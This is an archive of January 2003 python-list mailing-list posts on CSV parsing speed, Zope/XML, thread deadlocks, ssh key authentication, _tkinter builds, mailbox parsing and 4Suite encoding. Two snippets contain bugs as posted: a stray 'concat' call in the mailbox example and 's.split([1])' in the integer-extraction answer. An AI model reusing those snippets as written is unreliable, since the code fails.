From: bbeck at NOSPAM.austin.rr.com (Brandon Beck)
Date: Mon, 13 Jan 2003 20:54:45 GMT
Subject: slow loop?
References: <1964c4d7.0301130842.2f693958@posting.google.com>
Message-ID: <pIFU9.30525$aG4.1599274@twister.austin.rr.com>

Seems like you're trying to write a CSV parser.  If so, I strongly 
suggest you get the Object Craft CSV module.  It handles all of the 
oddities of CSV for you, and it's written in C so it's quite fast.  It's 
also distributed with source, so you can compile it on any platform you 
may need it for.  I've used it before and it's extremely easy.

http://www.object-craft.com.au/projects/csv/

Hope this helps,
Brandon


Brian Kranson wrote:
> Is there a way I can make this small script any faster?  The file it
> reads in used to be only about a 100 lines and now it is well over
> 2000.  It takes about 14 seconds to run it on my PentiumII.  Thanks in
> advance - Bk
> 
> import time
> startTime=time.time()
> myList=[]
> finalList=[]
> myString=''
> file=open('Export.txt','r')
> lines=file.readlines()
> for line in lines:
>         for character in line:
>                 if character == '"':
>                         None
>                 elif character == ',' or character == '\n':
>                         myList.append(myString)
>                         myString=''
>                 else:
>                         myString += character
>         finalList.append(myList)
>         myList=[]
> endTime=time.time()
> print endTime-startTime
> 
> 
> Here are two lines from Export.txt (the first line ends with "NONE" -
> google and/or your browser might add some extra end of line
> characthers - this sample Export.txt should only have two lines)
> 
> "IDNUMBER","VRNUMBER","LASTNAME","FIRSTNAME","MAILNAME","SALUTATION","ADDRESS1","ADDRESS2","ADDRESS3","CITY","STATE","ZIP","COUNTY","CONGRESS","SENATEDIST","HOUSEDIST","RECSTATUS","REGISTER","CARRT","HPHONE","WPHONE","FPHONE","APHONE","EMPLOYER","OCCUPATION","BIRTHDATE","CONSTITUENTTYPE","ORIGIN","AFFILIATION","SEX","PRECINCT","HOMESOUND","UPDATEDATE","FAMILY","CONTEXIST","EXPEXIST","VOTEEXIST","N
> TEEXIST","VOLEXIST","VIPEXIST","CASEEXIST","REMIND","BILLEXIST","WFAX_PHONE","CAR_PHONE","E_MAIL","PAGER","MAIL_WHERE","CONTACT","AWARD_TYPE","AWARD_DATE","ELIGIBLE","JOIN_DATE","PAY_GRP","PAY_AMOUNT","WADDRESS1","WADDRESS2","WADDRESS3","WCITY","WSTATE","WZIP","WCARRT","MADDRESS1","MADDRESS2","MADDRESS3","MCITY","MSTATE","MZIP","MCARRT","DADDRESS1","DADDRESS2","DADDRESS3","DCITY","DSTATE","DZIP","
> CARRT","HOUSEHOLDMAILNAME","HOUSEHOLDSALUTATION","TOTALCONTRIBUTIONS","LARGESTCONTRIBUTION","AVERAGECONTRIBUTION","LASTCONTRIBUTION","LASTCONTRIBUTIONDATE","YEAR1TOTAL","YEAR2TOTAL","CONTRIBUTIONSYEAR1","CONTRIBUTIONSYEAR2","NONE"
> "63","","Last","First","Ms. First L. Last","Sal","220 Street
> Blvd.","","","Oregon","OH","43616","Lucas","9","","","1","  /  /   
> ","","","","","","","","12/30/1899","Individual","","","Female","","HOME","07/13/1999","","Y","","","","","","","","","","","","","H","","","
>  /  /    ","","  /  /    ","","0","220 Street
> Blvd.","","","Oregon","OH","43616","","220 Street
> Blvd.","","","Oregon","OH","43616","","220 Street
> Blvd.","","","Oregon","OH","43616-","","Ms. Frist L.
> Last","First","25.00","25.00","25.00","25.00","01/06/1999","0.00","0.00","0","0","none"




From Pete at nospam.com  Tue Jan  7 07:10:45 2003
From: Pete at nospam.com (Pete)
Date: Tue, 07 Jan 2003 12:10:45 GMT
Subject: Zope, XML/XSL HTML, Mysql
Message-ID: <9tzS9.10989$oS1.48139@news-server.bigpond.net.au>

Hello,

I developing a web database application which is using
Python, Zope and MySQL.

I'm using mysql-python and ZMysqlda
http://sourceforge.net/projects/mysql-python

After some experimenting i've managed to extract data from the a mysql
database and output XML or HTML for queries.

One of the requirments I need to meet is to output XML with XSL for browser
that support it and HTML for old browsers.
I would like to code the python modules to all output XML and have it
converted to HTML by a some other component which it detects an older
browser.

Does anyone know of any such components? or any suggestions to make the
above more simplier or more effective use of existing code?


I'm not using any Zope DTML or page templates. Coding exclusively python.

Regards
Pete





From martin at v.loewis.de  Sun Jan 19 06:21:57 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 19 Jan 2003 12:21:57 +0100
Subject: 2.3 a1 idle.py vs. idle.pyw
References: <mailman.1042928973.28107.python-list@python.org>
Message-ID: <m37kd1wfje.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one at comcast.net> writes:

> I'll show you exactly what I just did to run idle.py:
> 
>     C:\Python23>python tools\idle\idle.py
> 
> from a DOS box.  The IDLE that came up was (of course) for 2.3a1.

What happens when you double-click idle.py?

Regards,
Martin



From kibab at icehouse.net  Wed Jan  1 16:59:26 2003
From: kibab at icehouse.net (Kaleb Pederson)
Date: Wed, 1 Jan 2003 13:59:26 -0800
Subject: [PyKDE] pyqt/mysqld thread deadlock
In-Reply-To: <3E1360AE.3030909@v.loewis.de>
References: <200301010958.45042.kibab@icehouse.net> <200301011336.01085.kibab@icehouse.net> <3E1360AE.3030909@v.loewis.de>
Message-ID: <200301011359.31308.kibab@icehouse.net>

On Wednesday 01 January 2003 01:42 pm, Martin v. L?wis wrote:
> Kaleb Pederson wrote:
> > (gdb) thread 1
> > #0  0x4024b1be in select () from /lib/libc.so.6
>
> [...]
>
> > #16 0x080a81d2 in PyImport_ImportModuleEx (name=0x818a924
> > "gem.src.gui.gui", globals=0x8145154, locals=0x8145154,
> > fromlist=0x8114484) at
> > Python/import.c:1658
>
> [...]
>
> >>From my limited knowledge of the Python interpreter, it looks like the
> >> lock
> >
> > only gets acquired once in the third thread.  In which case, there would
> > be no reason for it to block.  But, the first thread also had some
> > relevant import calls, so I'm not sure.  Where do I look now?
>
> See the source of PyImport_ImportModuleEx. It acquires the import lock,
> so you are holding the import lock while QApplication_exec_loop is
> running. That means you deadlock.
>
> gem.src.gui.gui should not run the mainloop, but expose a function to
> run the mainloop, which the importer of gui should then invoke.
>
> Regards,
> Martin


Ahh.  I'm going to change that right now.  I'll let you know.  Thank you.

--Kaleb




From max at alcyone.com  Fri Jan 31 23:19:18 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 31 Jan 2003 20:19:18 -0800
Subject: Interaction with the shell
References: <mailman.1044054960.13415.python-list@python.org>
Message-ID: <3E3B4AC6.276E78A2@alcyone.com>

Tyson Tate wrote:

> I'd like to enter the password from within the code (i.e. so that the
> user doesn't enter the password). How might I do this? The man pages
> on
> ssh don't say that there are any parameters through which I can supply
> the password.

As well there shouldn't be; your password would then be visible to
anyone with an account on the same machine while you were using it (or
at least there would be a race condition for it to be visible).

You could probably use something like the PyExpect module (which I've
never had the pleasure to use myself):

	https://sourceforge.net/projects/pexpect/

A much better idea, though, is to avoid the password entirely and
instead set up a local ssh key with ssh-keygen and add the public key to
~/.ssh/authorized_keys on the remote system.  This will obviate the need
for a password exchange.

The problem is that even if you get it working with your password, that
password is either going to be passed as a command line into your Python
script (again, same problem as above) or is going to appear somewhere in
your Python file.  Now there's a text file somewhere on your system that
contains your password on another machine:  Bad idea.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The basis of optimism is sheer terror.
\__/ Oscar Wilde
    Bosskey.net / http://www.bosskey.net/
 A personal guide to online multiplayer first person shooters.



From ericmattes at yahoo.com  Tue Jan 28 14:15:49 2003
From: ericmattes at yahoo.com (Eric Mattes)
Date: Tue, 28 Jan 2003 14:15:49 -0500
Subject: end of lines
References: <fd5aa35c.0301280835.6f7dea91@posting.google.com> <3E36D40A.3333769F@engcorp.com>
Message-ID: <b16kt5$gho$1@newsmaster.cc.columbia.edu>

Peter, you are the genious of geniouses! Thank you very much!

I'm glad that I at least had the right idea :^)
-E

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E36D40A.3333769F at engcorp.com...
> Eric Mattes wrote:
> >
> > I am running Windows XP and activestate python 2.2.1. I'm writing a
> > program that reads in a (local) file using urllib and the readlines()
> > method like so:
> >
> > code = "".join(urllib.urlopen(file).readlines())
> > string.replace(code, "\r", "\n")
>
> Strings are immutable!  You need to bind a name to the result of the call
> to replace().  You meant to do this instead:
>
> code = string.replace(code, '\r', '\n')
>
> If you're using Python 2.2.1 though, you can just do this and avoid
> the import statement.
>
> code = code.replace('\r', '\n')
>
> > compiled_code = compile(code, '<string>', 'exec')
> >
> > This causes a SyntaxError "Invalid Syntax" with an arrow pointing at
> > the end of the first line of the string read from the file. For
> > example, the file's first line is:
>
> Another possibility is that you need to add a newline at the end of the
> string.  Try this instead:
>
> code = code.replace('\r', '\n') + '\n'
>
> -Peter





From exarkun at intarweb.us  Wed Jan 29 14:31:53 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Wed, 29 Jan 2003 14:31:53 -0500
Subject: traditional tk inter problem
In-Reply-To: <d232c5e.0301291047.774dbf67@posting.google.com>
References: <d232c5e.0301291047.774dbf67@posting.google.com>
Message-ID: <20030129193153.GA29658@meson.dyndns.org>

On Wed, Jan 29, 2003 at 10:47:45AM -0800, Chris Lyon wrote:
> I am trying to upgrade my Mandrake 9.0 base installation of python
> (2.2.1) to 2.3a with which I hope to use PIL 1.1.3.
> 
> I have downloaded the .tgz file and unzipped and untarred it, 
> Run ./configure
> make
> make install
> 
> every time I get as the last line a message to the effect that I
> cannot run idle without _tkinter.
> 
> [snip]

  It sounds like _tkinter.so failed to build.  This could be for any number
of reasons.  One likely cause is that the Tcl and Tk header or library files
were not found where they were expected.  I have no idea where Mandrake puts
them, but often the header files are kept in a -separate- package from the
rest of the files, thus causing people to believe they have all the
necessary files installed when they really don't.  Check the build log for
Python to see what files, if any, were not found, then check your system to
see where, if at all, these files are installed.

> -------- From here on in I'm feeling sorry for myself but would
> appreciate a comment or two-----
> 
> As someone trying to shed myself of my Windows background, I have
> managed to confirm my suspicions that I know far less than I thought I
> did, I am working entirely alone and have no friendly guru to consult
> ( except for lists like these ) but why is this so difficult? What
> extra facilities do you gain by having these installations so flexible
> as to require such intimate knowledge of the system? I've been at this
> two days and really feel I have made an decent attempt at solving this
> for myself. I haven't even tried going near PIL yet and all I really
> want to do it plot a graph in a webpage...
> 
> ------ sulk over  -------

  You're installing an alpha distribution.  You're installing it from
source.  You're installing it onto a Linux distribution.  You're installing
it onto a Linux distribution for which the primary means of packaging is
-not- source.

  There are bound to be problems.

  Don't give up.  A lot more is learned from failure than from success :)
It's difficult because you've chosen a difficult path (others might
recommend that you wait until Mandrake packages 2.3, and then install from
that package), but you've made good progress so far.

  Jp

-- 
"Pascal is Pascal is Pascal is dog meat."
                -- M. Devine and P. Larson, Computer Science 340
-- 
 up 44 days, 23:49, 4 users, load average: 0.25, 0.21, 0.22
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030129/6c5e1825/attachment.sig>

From wrbt at email.com  Thu Jan 23 11:23:31 2003
From: wrbt at email.com (Larry)
Date: 23 Jan 2003 08:23:31 -0800
Subject: MS SQL Server
References: <mailman.1043252790.3819.python-list@python.org>
Message-ID: <2ec1bc1c.0301230823.2d5f517d@posting.google.com>

We've got a pretty large production python/sqlserver web application
running, it uses win32com/ADO.

I'd definitely agree with Kris as the answer to the initial post, bcp
is the way to go for pushing lots of data into sql server.



From cwazir at yahoo.com  Tue Jan 14 22:16:06 2003
From: cwazir at yahoo.com (Chirag Wazir)
Date: 14 Jan 2003 19:16:06 -0800
Subject: Email package and mailbox module
References: <3E245102.8040106@nipltd.com>
Message-ID: <79c178a9.0301141916.10690661@posting.google.com>

Here's a bit of code to do this:

##############################################################
import cStringIO, mailbox

# read the entire mailbox into memory
mailboxFile = concat(r'C:\Work\PocoMail\Mail\Backup.mbx', 'r')
mailboxString = cStringIO.StringIO(mailboxFile.read())
mailboxFile.close()

# process each mail
for mail in mailbox.PortableUnixMailbox(mailboxString):
    # show the headers
    for h in mail.headers:
        print h,
    # show the body
    mail.rewindbody()
    print mail.fp.read(),
##############################################################

Chirag Wazir
http://chirag.freeshell.org


Chris Keyes <chrisk at nipltd.com> wrote:

> I'm currently trying to extract email messages from a mailbox file 
> ....
> I want both the body and the headers (basically to index the contents of 
> the message)....



From Mongryong at sympatico.ca  Tue Jan 21 01:19:24 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 21 Jan 2003 01:19:24 -0500
Subject: [4suite] 4Suite Reliance on ENVIRONMENT & global variables
In-Reply-To: <704B83C4-2D00-11D7-8B43-000393CFDA9C@fourthought.com>
References: <704B83C4-2D00-11D7-8B43-000393CFDA9C@fourthought.com>
Message-ID: <1043129964.1419.305.camel@refugeeMedia>

Ok, I've modified my simple test script so that it can be easily started
from a shell (python main.py) as well as working with mod_python.

Again, here's the url to my server where you can view the mod_python
result: http://rezquest.cjb.net/bin/main

So, now the test outputs the XML source as just a string and as dom node
from NonvalidatingReader.

You should clearly see the difference between the standalone and
mod_python results.

On Tue, 2003-01-21 at 00:23, Michael Olson wrote:
> 
> > The strange thing is that if I directly output the XML source without
> > doing any XSLT processing, the XML source appears correctly.  Somewhere
> > along the line where the strings are being passed from the python
> > libraries to the 4Suite libraries (by Py_ParseArgs..???), the strings
> > are being 'miscommunicated'.
> >
> 
> By "output the XML source" do you mean just print it out (or fetch it 
> from the file system) ro do you mean parse it into DOM, and print it 
> out?
> 
> If not the later, can you try that instead of XSLT to see if this works.
> 
> Thanks
> Mike
> 
> > Now, it might be a Python2.2.2 issue since libxml2/libxslt from the
> > gnome project are having similar problems as well.
> >
> > In 4Suite, do the apps embedd the python interpretor or do the apps
> > start purely from a python environment?
> >
> > It might be good to check to see whether this problem still occurs 
> > other
> > 'python embedded' application (ie. uses Py_NewInterpretor from C). I
> > forget, does the command-line version of python dynamically link to the
> > python libraries?  If so, I wonder if the command-line version of 
> > python
> > is doing anything special or different when it links up and initializes
> > the python libraries.
> >
> > I'm reposting this message on to the Python mailing list to see if
> > anybody there can help give us a clue.
> >
> > P.S Has there been any changes in Python2.2.3+ that might possibly fix
> > this problem?
> >
> > On Mon, 2003-01-20 at 22:28, Uche Ogbuji wrote:
> >> On Mon, 2003-01-20 at 14:52, Mongryong wrote:
> >>> Hi,
> >>>
> >>> I'm having trouble getting the latest 4Suite XML/XSLT tools to work 
> >>> the
> >>> way I want in mod_python and I know I'm not the first one to 
> >>> experience
> >>> "out-of-the-box" success.
> >>>
> >>> I've determined that it's an encoding issue.   Now, with a 
> >>> stand-alone
> >>> script or CGI script under Apache, 4XSLT works fine.  But under
> >>> mod_python (which doesn't have access to ENVIRONMENT variables), 
> >>> 4XSLT
> >>> library decodes the XML source file in a total different encoding.  
> >>> XSL
> >>> templates (ie. <xsl:template name="blah">) are never executed because
> >>> the XML tag is never recognized by the XSL processor.  Hence, you 
> >>> get an
> >>> empty output.
> >>>
> >>> I've check the default system encoding codec and it returns 'ascii' 
> >>> (ie.
> >>> sys.getdefaultencoding).  Now, it could be that the python library
> >>> relies on some ENVIRONMENT variable for its configuration.
> >>>
> >>> Anybody have any ideas what 'parameters' might not be initialized
> >>> properly under a non-CGI or non-shell environment such as mod_python?
> >>> Or, is there a parameter that one can set to change the XML input
> >>> decoding?
> >>
> >> I don't think there is any environment variable that could affect 
> >> this.
> >>
> >> However, there have been a lot of fixes recently, including to some
> >> endianness bugs.  Do you mind trying again with latest 4Suite CVS and
> >> telling us if it helps?  Either wait till tomorrow's snapshot, or 
> >> check
> >> out current CVS HEAD directly
> >>
> >> http://4suite.org/docs/4SuiteCVS.xml
> >>
> >> If it doesn't help, I hope you'll be able to help us work with you to
> >> find a solution for mod_python users.
> >>
> >> -- 
> >> Uche Ogbuji                                    Fourthought, Inc.
> >> http://uche.ogbuji.net    http://4Suite.org    http://fourthought.com
> >> Python Generators + DOM - 
> >> http://www.xml.com/pub/a/2003/01/08/py-xml.html
> >> 4Suite Repository Features - 
> >> https://www6.software.ibm.com/reg/devworks/dw-x4suite5-i/
> >> XML class warfare - http://www.adtmag.com/article.asp?id=6965
> >> MusicBrainz  metadata - 
> >> http://www-106.ibm.com/developerworks/xml/library/x-think14.html
> >>
> >
> > <main.py>
> Mike Olson                                Principal Consultant
> mike.olson at fourthought.com                +1 303 583 9900 x 102
> Fourthought, Inc.                         http://Fourthought.com
> PO Box 270590,                            http://4Suite.org
> Louisville, CO 80027-5009, USA
> XML strategy, XML tools, knowledge management
> 
> _______________________________________________
> 4suite mailing list
> 4suite at lists.fourthought.com
> http://lists.fourthought.com/mailman/listinfo/4suite

-------------- next part --------------
A non-text attachment was scrubbed...
Name: main.py
Type: text/x-python
Size: 2061 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030121/01edb9d0/attachment.py>

From edream at tds.net  Sat Jan 11 13:52:13 2003
From: edream at tds.net (Edward K. Ream)
Date: Sat, 11 Jan 2003 18:52:13 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042257199.7572.python-list@python.org> <%0TT9.121156$Hs2.11453314@kent.svc.tds.net> <v208b839c0990d@news.supernews.com>
Message-ID: <xJZT9.121193$Hs2.11495249@kent.svc.tds.net>

> The actual proof is in Java runtimes. They all seem to use JIT
> compilers,
> and they wind up being quite effective at speeding up the pig.

If JIT's are so effective, why are the swing classes so slow?

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------





From claird at lairds.com  Thu Jan  9 12:39:55 2003
From: claird at lairds.com (Cameron Laird)
Date: Thu, 09 Jan 2003 17:39:55 -0000
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <v1qvi6ddvfbu2e@corp.supernews.com> <3E1D7F8C.E0BCE81F@engcorp.com> <i8j0f-m78.ln1@news.lairds.org>
Message-ID: <v1rcvb3q9oma0c@corp.supernews.com>

In article <i8j0f-m78.ln1 at news.lairds.org>,
Kyler Laird  <Kyler at news.Lairds.org> wrote:
			.
			.
			.
>I suppose it wouldn't be so bad if you just wanted to
>learn to program with Java, but neither is picking up
>"Java for Dummies" and it's a lot cheaper.
Worth repeating.
			.
			.
			.
>Give me a couple years to report on UC Merced.
>
>--kyler

Ha!  Instead of an objective report, you're likely to
try to improve it, introduce Python, and otherwise
disturb its equilibrium.  How can we ever hope to 
answer the original questioner with full precision when
people insist on changing the data?
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From kaz at ashi.footprints.net  Fri Jan 24 19:38:49 2003
From: kaz at ashi.footprints.net (Kaz Kylheku)
Date: 24 Jan 2003 16:38:49 -0800
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu> <cf333042.0301232326.582ac37@posting.google.com> <23891c90.0301240929.196ae7bf@posting.google.com>
Message-ID: <cf333042.0301241638.5bf642a8@posting.google.com>

paul at boddie.net (Paul Boddie) wrote in message news:<23891c90.0301240929.196ae7bf at posting.google.com>...
> kaz at ashi.footprints.net (Kaz Kylheku) wrote in message news:<cf333042.0301232326.582ac37 at posting.google.com>...
> > 
> > Do you know that Lisp programmers have been storing data as nested
> > lists for forty years? You have rediscovered the wheel.
> 
> Sounds like the shortened version of a typical Erik Naggum rant about XML:

That's amazing; I somehow said something about XML without ever
mentioning it! Creative reading comprehension at work.

But for the record, I think that XML is a retarded pile of crap
invented and maintained by members of an underclass of unthinking
idiots that unfortunately make up an influential segment of the
computing sphere.

Whatever constitutes the Python equivalent of S-expresions will likely
blow XML away, so just use it!

How is that? :)



From sholden at holdenweb.com  Thu Jan  9 10:08:06 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Thu, 9 Jan 2003 10:08:06 -0500
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com> <mailman.1042118119.29945.python-list@python.org>
Message-ID: <ihgT9.21296$u9.18028@fe08>

"Andrew Bennetts" <andrew-pythonlist at puzzling.org> wrote in message
news:mailman.1042118119.29945.python-list at python.org...
> On Thu, Jan 09, 2003 at 12:54:24PM +0000, Afanasiy wrote:
> > On Thu, 9 Jan 2003 22:29:33 +1100, Andrew Bennetts
> > <andrew-pythonlist at puzzling.org> wrote:
> > >>
> > >> You don't know what I am doing. My design is perfect.
> > >
> > >What is good design for one language isn't necessarily good design for
> > >another.  Python offers different features to, say, C++, and is best
used in
> > >different ways.  I would recommend that you try to understand the
pythonic
> > >world-view better, rather than insisting on imposing your
preconceptions on
> > >us... my experience agrees with Andrew Dalke's; explicit self is much
better
> > >than the alternatives.
> >
> > If the "pythonic world-view" is that code which would look better with
> > implicit self is "poor implementation", then no, I do not agree with it.
>
> The pythonic world-view on this particular issue is that "Explicit is
better
> than implicit", yes.
>
> > Please note I am not complaining out about the lack of this possibility.
> > I only have a problem with the condescending tones. I guess it's normal.
>
> In my experience, people who find this sort of thing about Python annoying
> aren't using Python optimally.  My recommendation is to trust us, show us
> your whole class, and invite constructive criticism on its design.  This
may
> sound condescending, but this newsgroup is filled with experienced Python
> programmers, and I would be very surprised if you considered yourself
better
> at writing Python than them.
>

I wouldn't be at all surprised if he considered himself better at writing
Python. I'd be surprised if he were right, though.

Afanasiy: to write '''If the "pythonic world-view" is that code which would
look better with implicit self is "poor implementation"''' and '''My design
is perfect.''', and then complain about condescending attitudes strikes me
as the pot calling the kettle black. You asked a question, and you got
answers. You may not have liked the tone, but since you can only *interpret*
its meaning it usually doesn't do you much good to complain about newsgroup
modes of expression. Or, more shortly: "get over it!".

This is actually quite a friendly group (certainly there are many others
where you would experience much greater hostility). Try not to interpret
comments as condescending: they usually aren't. I guess you may wish to make
an exception of this message :-), though I am actually trying to pur oil on
troubled waters.

regards
-----------------------------------------------------------------------
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/
-----------------------------------------------------------------------






From lac at strakt.com  Tue Jan 28 12:42:02 2003
From: lac at strakt.com (Laura Creighton)
Date: Tue, 28 Jan 2003 18:42:02 +0100
Subject: Graphing packages 
In-Reply-To: Message from claird@lairds.com (Cameron Laird) 
   of "Tue, 28 Jan 2003 17:39:51 GMT." <v3dg37837edd0@corp.supernews.com> 
References: <v3dg37837edd0@corp.supernews.com> 
Message-ID: <200301281742.h0SHg2jL022064@ratthing-b246.strakt.com>

> I post this on behalf of Dave Feustel <dfeustel at mindspring.com>:
> > I suddenly have a need to plot graphs of algebraic functions.
> > Is there a such a python graphics package that runs on Openbsd?
> > (I've looked but haven't found anything yet)
> 
> I have several comments.  Dave's usual NNTP access is broken, so
> he feels blocked from clp participation.  This makes me think
> he's not aware of the alternatives that appear in, for example,
> <URL: http://www.python.org/cgi-bin/moinmoin/CompLangPython >.
> Folks, if you've got e-mail at all, you can join in clp.
> 
> I'll leave the substantive question to others.  I know there is
> an abundance of ways (Graphite, biggles, GD, Gnumeric, BLT,
> scipy.pl, ..) to do function-graphing with Python, essentially
> all of which are readily available under OpenBSD (a fine platform,
> by the way; I'd be happy if more people used it).  Dave, my first
> question would be about whether you have a preference between
> Tkinter, wxPython, PyQt, Web applications, ...
> -- 
> 
> Cameron Laird <Cameron at Lairds.com>
> Business:  http://www.Phaseit.net
> Personal:  http://phaseit.net/claird/home.html
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Dave, if you need 3-D graphing or data visualization, check out
MayaVi. Fully scriptable in Python, wrappers for the VTK toolkit.
http://mayavi.sourceforge.net/

Laura Creighton (happy user)




From tvassila at siac.com  Fri Jan 31 12:00:32 2003
From: tvassila at siac.com (Thanos Vassilakis)
Date: Fri, 31 Jan 2003 12:00:32 -0500
Subject: Python Success Stories or Nightmares
Message-ID: <OFA6F80612.5DF64DBA-ON85256CBF.005D32B4@nsmtp.siac.com>

NYSE uses python since 1998 on the floor, for its main  internet services.

This is a very conservative enviroment where they won't  to use java in
production. Services MUST never go down, and Python has bought NYSE a lot!






                                                                                                                                
                    grante at visi.com                                                                                             
                    (Grant Edwards)           To:     python-list at python.org                                                    
                    Sent by:                  cc:                                                                               
                    python-list-admin@        Subject:     Re: Python Success Stories or Nightmares                             
                    python.org                                                                                                  
                                                                                                                                
                                                                                                                                
                    01/31/2003 11:54                                                                                            
                    AM                                                                                                          
                                                                                                                                
                                                                                                                                




In article <mailman.1043967059.7713.python-list at python.org>, Mongryong
wrote:

> Let's hear people's success stories with Python and why they did the
> switch.

I didn't "switch" I just added Python to the toolbox.  The only
mail access where I work is through MS Outlook (no POP, no
IMAP).  I needed a way to suck e-mail out of Outlook.  I didn't
have a C compiler for MS (and don't particularly like C for app
development).  I found an article on useing Python to drive COM
interfaces under Win32.  A week later, I had a Python app that
transferred my e-mail from Outlook to the SMTP server on my
Unix box.

Since then I've written dozens of apps in Python ranging from a
dozen or two lines to a thousand or two lines.  Some are text
mode that decode test data.  Many are test programs that drive
serial ports. One is Tk app that's used for configurating a
Linux device driver (similar to something like RH's printtool).
Another uses wxWindows and is used to update the firmware in a
thin-server product (the updater runs on Windows or Linux).

Python is by far the most productive language I've tried.

And I've tried dozens.

--
Grant Edwards                   grante             Yow!  BRILL CREAM is
                                  at               CREAM O' WHEAT in
another
                               visi.com            DIMENSION...
--
http://mail.python.org/mailman/listinfo/python-list








From fperez528 at yahoo.com  Fri Jan 31 15:18:05 2003
From: fperez528 at yahoo.com (Fernando Perez)
Date: Fri, 31 Jan 2003 13:18:05 -0700
Subject: moving a file in a filesystem-independent way?
References: <b1ccej$1tc$1@peabody.colorado.edu> <mailman.1043970959.30100.python-list@python.org>
Message-ID: <b1elit$40e$1@peabody.colorado.edu>

Geoff Gerrietts wrote:

> Quoting Fernando Perez (fperez528 at yahoo.com):
>> 
>> This problem is nasty because the structure of unix filesystems is
>> such that things can change drastically from one machine to
>> anonther.  It's the first time that I find python being 'dumber'
>> than the plain shell commands.
>> 
>> But I'm sure it's me being dumb, not python :) So I'd appreciate any
>> enlightenment on why things are this way, or how I should go about
>> the problem.
> 
> As recently as 8 years ago, mv was that dumb, too. On some Unix
> systems, it still is.

Ah.  I've only been usling linux for just about 8-9 years, so I never 
noticed.

> The issue of transparency stands behind your problem. The functions in
> os.posix (and consequently available in os) are very close to the
> functions provided by the standard C library on your Linux system. The
> standard library's rename() function (man 2 rename) returns an error
> in the event that the source and destination are not on the same
> filesystem.
> 
> The convenience function you propose makes sense, but I'm not sure if
> replacing rename() is the right solution -- a new method called move
> might be preferable, to avoid confusion.

I totally agree that rename should reflect the underlying posix behavior 
faithfully.  But as others have pointed, this seems a reasonable enough 
request that shutils just grew a move() for python 2.3.  I'm just a bit 
surprised to read that it didn't exist before, I can hardly imagine being 
the first to complain about this one.

At any rate, thanks a lot to all who replied (Francois, Inyeol, Geoff,...).  
Informative and quick, as is the norm in c.l.py.  I'll work manually around 
the issue until I can safely assume that 2.3 is on all my machines (not for 
a while).

Cheers,

f.




From skip at pobox.com  Mon Jan 13 17:24:42 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 13 Jan 2003 16:24:42 -0600
Subject: Extracting int from string
In-Reply-To: <avvd1l$ee7$1@news.efn.org>
References: <avvd1l$ee7$1@news.efn.org>
Message-ID: <15907.15530.185411.115333@montanaro.dyndns.org>

    Spencer> What would be the best way to extract the integer value 45 from
    Spencer> the following string?

    Spencer> 'X=   45   A'

Depends entirely on how regular your data is.  If your integer is guaranteed
to always be the second of three "words", each separated by white space,
something like

    s = 'X=   45   A'
    number = s.split([1])

will suffice.  If there might not be any white space after the equal
sign (as people are wont to do), then perhaps a regular expression will do
the trick:

    s = 'X=45   A'
    import re
    mat = re.search(r'[^=]+=\s*([0-9]+)', s)
    if mat is not None:
    number = mat.group(1)

Skip




From ianb at colorstudy.com  Sat Jan 18 05:19:03 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 18 Jan 2003 04:19:03 -0600
Subject: [ann] Minimal Python project
In-Reply-To: <B43D149A9AB2D411971300B0D03D7E8B02943521@natasha.auslabs.avaya.com>
References: 	 <B43D149A9AB2D411971300B0D03D7E8B02943521@natasha.auslabs.avaya.com>
Message-ID: <1042885143.14410.721.camel@lothlorien>

On Thu, 2003-01-16 at 00:51, Delaney, Timothy wrote:
> > Do you have some other examples that really get used often?  I'd think
> > f_lineno's don't get used that often.
> 
> OTOH, when f_lineno *does* get used, it is *vital* that it has excellent
> performance.
> 
> Why? Because it gets used in things like code coverage tools, where it is
> used for every single call to the trace function.
> 
> You do not want to add more overhead to things like coverage tools.

Why not?  Code coverage is only done during development, when
performance isn't really important.  Am I missing something?  If testing
code coverage is already slow, is it that big a deal if it's a little
slower?

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From ajs at ix.netcom.com  Mon Jan 20 09:24:38 2003
From: ajs at ix.netcom.com (Arthur)
Date: Mon, 20 Jan 2003 09:24:38 -0500
Subject: license
Message-ID: <001101c2c08f$c7600410$2860f6d1@Arts>

Tim had written -

>As I said, the PSF license requires that derived works include a brief
>summary of changes made from the base distribution. That, along with
>preserving the PSF licence and copyright notice, is roughly all it
requires.

